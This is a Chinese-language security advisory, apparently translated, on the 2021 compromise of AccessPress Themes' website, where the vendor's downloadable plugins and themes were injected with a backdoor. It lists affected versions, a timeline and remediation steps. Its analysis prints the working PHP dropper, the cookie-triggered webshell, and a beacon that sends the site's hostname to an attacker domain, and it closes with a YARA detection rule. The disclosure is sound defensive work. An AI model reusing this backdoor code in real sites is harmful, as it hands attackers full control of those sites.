在调查一个受感染的网站时,我们在 AccessPress Themes(又名 Access Keys)的主题中发现了一些可疑代码,AccessPress Themes 是一家拥有大量流行主题和插件的供应商。经过进一步调查,我们发现供应商的所有主题和大多数插件都包含此可疑代码,但前提是从他们自己的网站下载。如果直接从 WordPress.org 目录下载或安装相同的扩展程序,则可以。
由于扩展被破坏的方式,我们怀疑外部攻击者已经破坏了 AccessPress Themes 的网站,试图使用他们的扩展来感染更多的网站。
我们立即联系了供应商,但起初我们没有收到回复。在将其升级到 WordPress.org 插件团队后,我们的怀疑得到了证实。 AccessPress Themes 网站于 2021 年 9 月上半月遭到入侵,可在其网站上下载的扩展程序被注入了后门。
一旦我们建立了与供应商沟通的渠道,我们就会与他们分享我们的详细发现。他们立即从他们的网站上删除了有问题的扩展。
大多数插件已经更新,已知的干净版本列在这篇文章的底部。但是,受影响的主题尚未更新,而是从 WordPress.org 主题存储库中提取的。如果您的网站上安装了本文底部列出的任何主题,我们建议您尽快迁移到新主题。
本公开涉及大量扩展,包括插件和主题。跳到下面的列表,或继续阅读以了解详细信息。
细节
Vendor: AccessPress Themes
Vendor url: https://accesspressthemes.com
Plugins: multiple
Themes: multiple
CVE: CVE-2021-24867
分析
受感染的扩展程序包含一个 webshell 的释放器,使攻击者可以完全访问受感染的站点。 滴管位于主插件或主题目录中的文件 inital.php
中。 运行时它会在 wp-includes/vars.php
中安装一个基于 cookie 的 webshell。 shell 作为函数安装在 wp_is_mobile()
函数前面,名称为 wp_is_mobile_fix()
。 这大概是为了不引起随便翻阅 vars.php
文件的任何人的怀疑。
function makeInit() { $b64 = 'ba' . 'se64' . '_dec' . 'ode'; $b = 'ZnVuY3Rpb2........TsKCg=='; $f = $_SERVER['DOCUMENT_ROOT'] . '/wp-includes/vars.php'; if(file_exists($f)) { $fp = 0777 & @fileperms($f); $ft = @filemtime($f); $fc = @file_get_contents($f); if(strpos($fc, 'wp_is_mobile_fix') === false) { $fc = str_replace('function wp_is_mobile()', $b64($b) . 'function wp_is_mobile()', $fc); @file_put_contents($f, $fc); @touch($f, $ft); @chmod($f, $fp); } return true; } return false; }
一旦安装了 shell,dropper 将通过从 URL hxxps://www.wp-theme-connect.com/images/wp-theme.jpg
加载远程图像,其中包含受感染站点的 url 和有关信息 它使用哪个主题作为查询参数。 最后,它会删除 dropper 源文件以避免在请求执行完成时检测到。
function finishInit() { unlink(__FILE__); } add_action( 'admin_notices', 'wp_notice_plug', 20 ); if ( !function_exists( 'wp_notice_plug' ) ) { function wp_notice_plug() { echo '<img style="display: none;" src="https://www.wp-theme-connect.com/images/wp-theme.jpg?ph=' . $_SERVER["HTTP_HOST"] . '&phn=accesspress-anonymous-post">'; } } register_shutdown_function('finishInit');
如果请求中的用户代理字符串是 wp_is_mobile
并且请求包含八个特定的 cookie,则 webshell 本身会触发。 它将这些提供的 cookie 拼凑在一起并执行有效负载。
$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile'); $g = $_COOKIE; (count($g) == 8 && $is_wp_mobile) ? (($qr = $g[33].$g[32]) && ($iv = $qr($g[78].$g[18])) && ($_iv = $qr($g[12].$g[17])) && ($_iv = @$iv($g[10], $_iv($qr($g[53])))) && @$_iv()) : $g;
我们还看到了另一种可能更旧的后门变体,直接嵌入在主题/插件的 functions.php
文件中。 此变体使用相同的机制,将来自 8 个 cookie 的有效负载拼凑在一起,但不过滤请求的用户代理字符串。
为确保 dropper 被执行,主插件文件(用于插件)或 functions.php
文件(用于主题)已用代码修改以执行 inital.php
文件(如果存在)。
if(is_admin()) { add_action( "init", 'apap_plugin_check' ); } function apap_plugin_check(){ if(file_exists(__DIR__ . "/inital.php")){ include(__DIR__ . "/inital.php"); } }
受感染插件时间戳的一个引人注目的细节是它们都是从 9 月初开始的。大多数文件来自 9 月 6 日和 7 日,少数文件来自 9 月 2 日和 3 日。同样的主题,除了 9 月 9 日的 accessbuddy
之外,所有主题都在 9 月 22 日遭到破坏。
此外,zip-archives 中的时间戳非常统一,几乎所有文件都具有完全相同的时间戳,除了修改后的主插件文件和添加的 dropper 文件几分钟后(通常大约 2-5 分钟后)存档中的其他文件)。
然而,查看从 wordpress.org
存储库下载的 zip 文件的时间戳,我们发现与插件/主题实际更新时间相对应的时间戳分布。此外,存档中时间戳的分布不太统一,它反映了哪些文件在版本中更新,哪些文件与旧版本相比没有变化。
这向我们表明,来自 AccessPress Themes 网站的文件被故意修改,并且是在最初发布后作为协调行动。妥协似乎分两个阶段进行,一个用于插件,另一个用于主题。他们每个人都有一些早期的尝试,可能是为了微调这个过程。
我们的调查只查看了 AccessPress Themes 网站上免费提供的主题和插件。我们假设他们的付费专业主题也受到了类似的影响,但我们还没有检查过这些。如果您有任何这些,请联系 AccessPress Themes 的支持以获取进一步的建议。
受影响的主题
如果您的网站上安装了以下任何主题,我们建议您尽快迁移到另一个主题。 AccessPress Themes 尚未为其中任何一个提供任何更新,它们已从 WordPress.org 存储库中提取。
Theme slug | Version |
---|---|
accessbuddy | 1.0.0 |
accesspress-basic | 3.2.1 |
accesspress-lite | 2.92 |
accesspress-mag | 2.6.5 |
accesspress-parallax | 4.5 |
accesspress-ray | 1.19.5 |
accesspress-root | 2.5 |
accesspress-staple | 1.9.1 |
accesspress-store | 2.4.9 |
agency-lite | 1.1.6 |
aplite | 1.0.6 |
bingle | 1.0.4 |
bloger | 1.2.6 |
construction-lite | 1.2.5 |
doko | 1.0.27 |
enlighten | 1.3.5 |
fashstore | 1.2.1 |
fotography | 2.4.0 |
gaga-corp | 1.0.8 |
gaga-lite | 1.4.2 |
one-paze | 2.2.8 |
parallax-blog | 3.1.1574941215 |
parallaxsome | 1.3.6 |
punte | 1.1.2 |
revolve | 1.3.1 |
ripple | 1.2.0 |
scrollme | 2.1.0 |
sportsmag | 1.2.1 |
storevilla | 1.4.1 |
swing-lite | 1.1.9 |
the-launcher | 1.3.2 |
the-monday | 1.4.1 |
uncode-lite | 1.3.1 |
unicon-lite | 1.2.6 |
vmag | 1.2.7 |
vmagazine-lite | 1.3.5 |
vmagazine-news | 1.0.5 |
zigcy-baby | 1.0.6 |
zigcy-cosmetics | 1.0.5 |
zigcy-lite | 2.0.9 |
受影响的插件
如果您在您的站点上安装了以下任何一个版本号在 Bad 列中的插件,我们建议您立即升级到 Clean 列中的版本。 值得注意的是,通过 WordPress.org 安装的插件是干净的,即使它们被列在 Bad 列中。 为了安全起见,我们仍然建议升级到已知的干净版本。
Clean 列中没有版本号的插件尚未升级,我们建议尽可能将其替换为其他插件。
Plugin slug | Bad | Clean | Note |
---|---|---|---|
accesspress-anonymous-post | 2.8.0 | 2.8.1 | 1 |
accesspress-custom-css | 2.0.1 | 2.0.2 | |
accesspress-custom-post-type | 1.0.8 | 1.0.9 | |
accesspress-facebook-auto-post | 2.1.3 | 2.1.4 | |
accesspress-instagram-feed | 4.0.3 | 4.0.4 | |
accesspress-pinterest | 3.3.3 | 3.3.4 | |
accesspress-social-counter | 1.9.1 | 1.9.2 | |
accesspress-social-icons | 1.8.2 | 1.8.3 | |
accesspress-social-login-lite | 3.4.7 | 3.4.8 | |
accesspress-social-share | 4.5.5 | 4.5.6 | |
accesspress-twitter-auto-post | 1.4.5 | 1.4.6 | |
accesspress-twitter-feed | 1.6.7 | 1.6.8 | |
ak-menu-icons-lite | 1.0.9 | ||
ap-companion | 1.0.7 | 2 | |
ap-contact-form | 1.0.6 | 1.0.7 | |
ap-custom-testimonial | 1.4.6 | 1.4.7 | |
ap-mega-menu | 3.0.5 | 3.0.6 | |
ap-pricing-tables-lite | 1.1.2 | 1.1.3 | |
apex-notification-bar-lite | 2.0.4 | 2.0.5 | |
cf7-store-to-db-lite | 1.0.9 | 1.1.0 | |
comments-disable-accesspress | 1.0.7 | 1.0.8 | |
easy-side-tab-cta | 1.0.7 | 1.0.8 | |
everest-admin-theme-lite | 1.0.7 | 1.0.8 | |
everest-coming-soon-lite | 1.1.0 | 1.1.1 | |
everest-comment-rating-lite | 2.0.4 | 2.0.5 | |
everest-counter-lite | 2.0.7 | 2.0.8 | |
everest-faq-manager-lite | 1.0.8 | 1.0.9 | |
everest-gallery-lite | 1.0.8 | 1.0.9 | |
everest-google-places-reviews-lite | 1.0.9 | 2.0.0 | |
everest-review-lite | 1.0.7 | ||
everest-tab-lite | 2.0.3 | 2.0.4 | |
everest-timeline-lite | 1.1.1 | 1.1.2 | |
inline-call-to-action-builder-lite | 1.1.0 | 1.1.1 | |
product-slider-for-woocommerce-lite | 1.1.5 | 1.1.6 | |
smart-logo-showcase-lite | 1.1.7 | 1.1.8 | |
smart-scroll-posts | 2.0.8 | 2.0.9 | |
smart-scroll-to-top-lite | 1.0.3 | 1.0.4 | |
total-gdpr-compliance-lite | 1.0.4 | ||
total-team-lite | 1.1.1 | 1.1.2 | |
ultimate-author-box-lite | 1.1.2 | 1.1.3 | |
ultimate-form-builder-lite | 1.5.0 | 1.5.1 | |
woo-badge-designer-lite | 1.1.0 | 1.1.1 | |
wp-1-slider | 1.2.9 | 1.3.0 | |
wp-blog-manager-lite | 1.1.0 | 1.1.2 | |
wp-comment-designer-lite | 2.0.3 | 2.0.4 | |
wp-cookie-user-info | 1.0.7 | 1.0.8 | |
wp-facebook-review-showcase-lite | 1.0.9 | ||
wp-fb-messenger-button-lite | 2.0.7 | ||
wp-floating-menu | 1.4.4 | 1.4.5 | |
wp-media-manager-lite | 1.1.2 | 1.1.3 | |
wp-popup-banners | 1.2.3 | 1.2.4 | |
wp-popup-lite | 1.0.8 | ||
wp-product-gallery-lite | 1.1.1 |
注意:
- 该插件尚未更新,但被认为是干净的,因为 AccessPress 主题网站上的版本是旧版本。
- 该插件尚未更新,但被认为是干净的,因为它最初在 AccessPress 主题网站上不可用。
IOC’s
以下 YARA 规则可用于检查站点是否已被感染。 它将检测感染的 dropper 部分以及已安装的 webshell。
rule accesspress_backdoor_infection { strings: // IoC's for the dropper $inject0 = "$fc = str_replace('function wp_is_mobile()'," $inject1 = "$b64($b) . 'function wp_is_mobile()'," $inject2 = "$fc);" $inject3 = "@file_put_contents($f, $fc);" // IoC's for the dumped payload $payload0 = "function wp_is_mobile_fix()" $payload1 = "$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');" $payload2 = "$g = $_COOKIE;" $payload3 = "(count($g) == 8 && $is_wp_mobile) ?" $url0 = /https?:\/\/(www\.)?wp\-theme\-connect\.com(\/images\/wp\-theme\.jpg)?/ condition: all of ( $inject* ) or all of ( $payload* ) or $url0 }
建议
如果您直接从 AccessPress Themes 或除 WordPress.org 以外的任何其他地方安装了任何主题或插件,则应立即升级到上表所示的安全版本。 如果没有可用的安全版本,请将其替换为来自 WordPress.org 的最新版本。
请注意,这不会从您的系统中删除后门,因此您需要重新安装干净的 WordPress 版本以恢复在安装后门期间所做的核心文件修改。
如果您有来自 AccessPress Themes/Access Keys 的付费主题或插件,我们建议您联系他们的支持以寻求帮助。
我们强烈建议您为您的站点制定包含恶意文件扫描和备份的安全计划。 Jetpack Security 是一种出色的 WordPress 安全选项,可确保您的网站和访问者的安全。 自 9 月 30 日以来,Jetpack Scan 已检测到此后门和 dropper 的所有变体。
时间线
2021-09-22:Jetpack Scan 团队在 FotoGraphy 主题中发现了 dropper 和后门,并尝试就初步发现联系供应商。
2021-09-27:确认从供应商网站下载的所有当前免费插件和主题中存在 dropper + 后门。
2021-09-28:确认从 wordpress.org 下载的文件中不存在 dropper + 后门
2021-09-29:尝试再次联系供应商,提供新发现的更新。
2021-10-14:升级到 WordPress 插件团队以尝试与供应商取得联系。
2021 年 10 月 15 日:从供应商的站点中删除了受损的扩展程序。
2021-10-16:供应商的回应
2022-01-17:大多数插件已升级到新版本,主题已从 WordPress.org 中提取。
2022-01-18 公开披露